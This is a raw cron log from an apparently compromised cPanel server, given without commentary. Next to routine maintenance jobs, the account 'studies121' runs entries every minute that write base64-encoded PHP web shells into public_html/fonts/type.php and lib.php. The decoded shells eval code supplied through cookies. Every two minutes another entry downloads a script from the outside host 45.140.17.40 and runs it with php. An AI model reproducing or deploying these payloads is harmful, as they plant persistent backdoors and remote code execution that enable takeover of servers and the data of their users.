Sep  8 00:34:01 ip-184-168-122-23 CROND[11835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:34:01 ip-184-168-122-23 CROND[11837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:34:01 ip-184-168-122-23 CROND[11836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:35:01 ip-184-168-122-23 CROND[11932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:35:01 ip-184-168-122-23 CROND[11933]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:35:01 ip-184-168-122-23 CROND[11936]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 00:35:01 ip-184-168-122-23 CROND[11937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:35:01 ip-184-168-122-23 CROND[11935]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 00:35:01 ip-184-168-122-23 CROND[11938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:35:01 ip-184-168-122-23 CROND[11939]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 00:35:01 ip-184-168-122-23 CROND[11934]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 00:36:01 ip-184-168-122-23 CROND[12033]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 00:36:01 ip-184-168-122-23 CROND[12034]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:36:01 ip-184-168-122-23 CROND[12036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:36:01 ip-184-168-122-23 CROND[12035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:36:01 ip-184-168-122-23 CROND[12038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:37:01 ip-184-168-122-23 CROND[12120]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:37:01 ip-184-168-122-23 CROND[12122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:37:01 ip-184-168-122-23 CROND[12121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:37:01 ip-184-168-122-23 CROND[12124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:38:01 ip-184-168-122-23 CROND[12202]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 00:38:01 ip-184-168-122-23 CROND[12203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:38:01 ip-184-168-122-23 CROND[12201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:38:01 ip-184-168-122-23 CROND[12204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:38:01 ip-184-168-122-23 CROND[12205]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:39:01 ip-184-168-122-23 CROND[12391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:39:01 ip-184-168-122-23 CROND[12393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:39:01 ip-184-168-122-23 CROND[12394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:39:01 ip-184-168-122-23 CROND[12392]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 00:39:01 ip-184-168-122-23 CROND[12396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:40:01 ip-184-168-122-23 CROND[12507]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 00:40:01 ip-184-168-122-23 CROND[12510]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 00:40:01 ip-184-168-122-23 CROND[12511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:40:01 ip-184-168-122-23 CROND[12514]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 00:40:01 ip-184-168-122-23 CROND[12513]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 00:40:01 ip-184-168-122-23 CROND[12512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:40:01 ip-184-168-122-23 CROND[12516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:40:01 ip-184-168-122-23 CROND[12518]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:41:01 ip-184-168-122-23 CROND[12601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:41:01 ip-184-168-122-23 CROND[12603]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:41:01 ip-184-168-122-23 CROND[12602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:41:01 ip-184-168-122-23 CROND[12605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:42:01 ip-184-168-122-23 CROND[12694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:42:01 ip-184-168-122-23 CROND[12693]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:42:01 ip-184-168-122-23 CROND[12695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:42:01 ip-184-168-122-23 CROND[12696]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 00:42:01 ip-184-168-122-23 CROND[12697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:43:01 ip-184-168-122-23 CROND[12845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:43:01 ip-184-168-122-23 CROND[12844]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:43:01 ip-184-168-122-23 CROND[12846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:43:01 ip-184-168-122-23 CROND[12847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:44:01 ip-184-168-122-23 CROND[13037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:44:01 ip-184-168-122-23 CROND[13039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:44:01 ip-184-168-122-23 CROND[13038]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 00:44:01 ip-184-168-122-23 CROND[13040]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:44:01 ip-184-168-122-23 CROND[13041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:45:01 ip-184-168-122-23 CROND[13157]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:45:01 ip-184-168-122-23 CROND[13160]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 00:45:01 ip-184-168-122-23 CROND[13159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:45:01 ip-184-168-122-23 CROND[13162]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 00:45:01 ip-184-168-122-23 CROND[13164]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  8 00:45:01 ip-184-168-122-23 CROND[13161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:45:01 ip-184-168-122-23 CROND[13163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:46:01 ip-184-168-122-23 CROND[13258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:46:01 ip-184-168-122-23 CROND[13263]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 00:46:01 ip-184-168-122-23 CROND[13260]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
